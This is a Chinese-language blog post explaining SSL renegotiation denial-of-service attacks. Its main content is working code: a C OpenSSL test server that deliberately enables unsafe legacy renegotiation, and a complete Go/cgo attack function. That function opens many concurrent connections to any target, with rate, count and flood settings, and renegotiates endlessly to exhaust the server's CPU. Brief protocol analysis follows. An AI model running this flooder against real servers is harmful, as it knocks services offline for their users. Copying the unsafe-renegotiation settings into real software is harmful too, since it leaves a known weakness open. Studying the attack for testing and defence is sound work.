SSL 攻击原理和实现分析

65 阅读5分钟

简介

SSL握手的过程中,在协商加密算法时服务器CPU的开销是客户端开销的15倍左右。攻击者利用这一特点,在一个TCP连接中不停地快速重新协商,或者发起多个TCP连接进行协商,从而耗尽服务器CPU资源,这种攻击叫做SSL-DoS。

如果多个僵尸主机向服务器发起SSL-DoS,则叫做SSL-DDoS攻击。

重协商

SSL/TLS 的 重新协商(Renegotiation)  功能主要在 TLS 1.2 及更早版本 中支持。在 TLS 1.3 中,重新协商机制被移除,取而代之的是更安全的 密钥更新(Key Update)  机制。

服务端

  • 生成密钥 openssl genrsa -out key.pem 2048
  • 生成证书 openssl req -new -x509 -key key.pem -out cert.pem -days 365
  • 允许重协商 SSL_CTX_set_options(ctx, SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION);
  • 指定SSL版本 SSL_CTX_set_max_proto_version(ctx, TLS1_2_VERSION);
  • 打印握手消息 SSL_set_msg_callback
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

#define PORT 443

// 定义消息回调函数
void msg_callback(int write_p, int version, int content_type, const void *buf, size_t len, SSL *ssl, void *arg) {
    const char *type_str = "";
    const char *direction = write_p ? "Sent" : "Received";

    // 根据 content_type 确定消息类型
    switch (content_type) {
        case SSL3_RT_CHANGE_CIPHER_SPEC:
            type_str = "ChangeCipherSpec";
            break;
        case SSL3_RT_ALERT:
            type_str = "Alert";
            break;
        case SSL3_RT_HANDSHAKE:
            type_str = "Handshake";
            break;
        default:
            type_str = "Unknown";
            break;
    }

    // 打印消息基本信息
    printf("%s %s message, length = %zu\n", direction, type_str, len);

    // 如果是 Handshake 消息,进一步解析
    if (content_type == SSL3_RT_HANDSHAKE) {
        const unsigned char *p = (const unsigned char *)buf;
        if (len > 0) {
            int handshake_type = p[0]; // 第一个字节是 Handshake 消息类型
            if (handshake_type == SSL3_MT_CLIENT_HELLO) {
                printf("ClientHello message detected!\n");

                // 打印完整的 ClientHello 消息(十六进制格式)
                printf("ClientHello raw data (%zu bytes):\n", len);
                for (size_t i = 0; i < len; i++) {
                    printf("%02X ", p[i]);
                    if ((i + 1) % 16 == 0) printf("\n");
                }
                printf("\n");
            }
        }
    }
}

int main() {
    int sockfd, clientfd;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len;

    // 初始化 OpenSSL
    SSL_library_init();
    OpenSSL_add_all_algorithms();
    SSL_load_error_strings();
    const SSL_METHOD *method = TLS_server_method(); // 使用 TLS 方法
    SSL_CTX *ctx = SSL_CTX_new(method);
    if (!ctx) {
        ERR_print_errors_fp(stderr);
        return 1;
    }

    // 加载证书和私钥
    if (SSL_CTX_use_certificate_file(ctx, "cert.pem", SSL_FILETYPE_PEM) <= 0) {
        ERR_print_errors_fp(stderr);
        return 1;
    }
    if (SSL_CTX_use_PrivateKey_file(ctx, "key.pem", SSL_FILETYPE_PEM) <= 0) {
        ERR_print_errors_fp(stderr);
        return 1;
    }

    // 允许客户端发起重协商(不安全,仅用于演示)
    SSL_CTX_set_options(ctx, SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION);
    SSL_CTX_set_min_proto_version(ctx, TLS1_2_VERSION);
    SSL_CTX_set_max_proto_version(ctx, TLS1_2_VERSION);

    // 创建 socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("socket");
        return 1;
    }

    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(PORT);

    // 绑定 socket
    if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("bind");
        return 1;
    }

    // 监听连接
    if (listen(sockfd, 5) < 0) {
        perror("listen");
        return 1;
    }

    printf("Server listening on port %d...\n", PORT);

    while (1) {
        client_len = sizeof(client_addr);
        clientfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
        if (clientfd < 0) {
            perror("accept");
            continue;
        }

        // 创建 SSL 连接
        SSL *ssl = SSL_new(ctx);
        SSL_set_fd(ssl, clientfd);
		
		// 打印握手交互信息
        SSL_set_msg_callback(ssl, msg_callback);
        SSL_set_msg_callback_arg(ssl, NULL);

        // 进行 SSL 握手
        if (SSL_accept(ssl) <= 0) {
            ERR_print_errors_fp(stderr);
            SSL_free(ssl);
            close(clientfd);
            continue;
        }

        printf("SSL connection established.\n");

        char buf[1024];
        int bytes;

		//处理客户端请求
        while ((bytes = SSL_read(ssl, buf, sizeof(buf) - 1)) > 0) {
            buf[bytes] = 0; // Null terminate
            printf("Received: %s\n", buf);
            SSL_write(ssl, buf, bytes); // Echo back
        }

        // 关闭 SSL 连接
        SSL_shutdown(ssl);
        SSL_free(ssl);
        close(clientfd);
    }

    close(sockfd);
    SSL_CTX_free(ctx);
    EVP_cleanup();

    return 0;
}

客户端

  • net.DialTimeout 进行tcp连接
  • cgo进行openssl函数调用
  • 允许重协商 C.SSL_CTX_set_options(sslCtx, C.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION)
  • 允许初始连接到不支持 RI 的服务器 C.SSL_CTX_set_options(sslCtx, C.SSL_OP_LEGACY_SERVER_CONNECT)
  • 初始握手 C.SSL_connect(ssl)
  • 重协商标志 C.SSL_renegotiate(ssl)
  • 手动握手 C.SSL_do_handshake(ssl)

// SendSslOpensslRenegotiateAttack 发送SSL重协商攻击
func SendSslOpensslRenegotiateAttack(Cfg *cfg.Config) {
	sslTarget := Cfg.Base.Target
	sslInterval := Cfg.Ssl.Interval
	sslCount := Cfg.Base.Count
	sslRate := Cfg.Base.Rate
	sslFlood := Cfg.Base.Flood

	// 速率控制
	ticker := time.NewTicker(time.Second / time.Duration(sslRate))
	defer ticker.Stop()

	// 等待所有协程完成
	var wg sync.WaitGroup

	for i := uint64(0); i < sslCount || sslCount == 0; i++ {
		// 等待下一个发包时间点
		if !sslFlood {
			<-ticker.C
		}

		// 增加等待计数
		wg.Add(1)

		go func() {
			// 完成时减少计数
			defer wg.Done()

			// 去掉https://前缀
			sslTarget = strings.TrimPrefix(sslTarget, "https://")

			// 建立TCP连接
			conn, err := net.DialTimeout("tcp", sslTarget, time.Second)
			if err != nil {
				fmt.Println("connecting to tcp target:", sslTarget, "failed,err:", err)
				return
			}
			defer conn.Close()

			// 创建SSL上下文
			sslCtx := C.SSL_CTX_new(C.SSLv23_client_method())
			if sslCtx == nil {
				fmt.Println("Failed to create SSL context")
				return
			}
			defer C.SSL_CTX_free(sslCtx)
			C.SSL_CTX_set_options(sslCtx, C.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION)
			C.SSL_CTX_set_options(sslCtx, C.SSL_OP_LEGACY_SERVER_CONNECT)
			C.SSL_CTX_set_cipher_list(sslCtx, C.CString("AES256-SHA:RC4-MD5"))

			// 创建SSL对象
			ssl := C.SSL_new(sslCtx)
			if ssl == nil {
				fmt.Println("Failed to create SSL object")
				return
			}
			defer C.SSL_free(ssl)

			// 设置文件描述符
			f, err := conn.(*net.TCPConn).File()
			if err != nil {
				fmt.Println("Failed to get file descriptor:", err)
				return
			}
			fd := C.int(f.Fd())
			C.SSL_set_fd(ssl, fd)

			// 执行SSL握手
			if C.SSL_connect(ssl) <= 0 {
				fmt.Println("SSL handshake failed")
				return
			}

			for {
				// SSL重协商
				if C.SSL_renegotiate(ssl) <= 0 {
					fmt.Println("SSL renegotiation failed")
					return
				}
				// SSL握手
				if C.SSL_do_handshake(ssl) != 1 {
					fmt.Println("SSL renegotiation do handshake failed")
					return
				}
				time.Sleep(time.Duration(sslInterval) * time.Second)
			}
		}()
	}

	// 等待所有协程完成
	wg.Wait()
}

分析

  • RFC 重协商扩展定义

image.png

  • openssl代码
EXT_RETURN tls_construct_ctos_renegotiate(SSL_CONNECTION *s, WPACKET *pkt,
                                          unsigned int context, X509 *x,
                                          size_t chainidx)
{
    if (!s->renegotiate) {
        /* If not renegotiating, send an empty RI extension to indicate support */

#if DTLS_MAX_VERSION_INTERNAL != DTLS1_2_VERSION
# error Internal DTLS version error
#endif

        if (!SSL_CONNECTION_IS_DTLS(s)
            && (s->min_proto_version >= TLS1_3_VERSION
                || (ssl_security(s, SSL_SECOP_VERSION, 0, TLS1_VERSION, NULL)
                    && s->min_proto_version <= TLS1_VERSION))) {
            /*
             * For TLS <= 1.0 SCSV is used instead, and for TLS 1.3 this
             * extension isn't used at all.
             */
            return EXT_RETURN_NOT_SENT;
        }


        if (!WPACKET_put_bytes_u16(pkt, TLSEXT_TYPE_renegotiate)
            || !WPACKET_start_sub_packet_u16(pkt)
            || !WPACKET_put_bytes_u8(pkt, 0)
            || !WPACKET_close(pkt)) {
            SSLfatal(s, SSL_AD_INTERNAL_ERROR, ERR_R_INTERNAL_ERROR);
            return EXT_RETURN_FAIL;
        }

        return EXT_RETURN_SENT;
    }

    /* Add a complete RI extension if renegotiating */
    if (!WPACKET_put_bytes_u16(pkt, TLSEXT_TYPE_renegotiate)
            || !WPACKET_start_sub_packet_u16(pkt)
            || !WPACKET_sub_memcpy_u8(pkt, s->s3.previous_client_finished,
                               s->s3.previous_client_finished_len)
            || !WPACKET_close(pkt)) {
        SSLfatal(s, SSL_AD_INTERNAL_ERROR, ERR_R_INTERNAL_ERROR);
        return EXT_RETURN_FAIL;
    }

    return EXT_RETURN_SENT;
}
  • 重协商示例数据

通过ssl服务端回调函数msg_callback打印,在client hello报文扩展中包括tls.handshake.extension.type: renegotiation_info (65281),如 FF 01 00 0D 0C 8C C5 B5 ED D3 ED 9A 93 33 1C 0A 77 类型为0xFF01,长度0x0D,数据长度0x0D,数据为client_verify_data

  • 报文分析
    • 新建tcp会话
    • 首次ssl协商
    • 不断重协商

image.png

  • CPU利用率变化 image.png

参考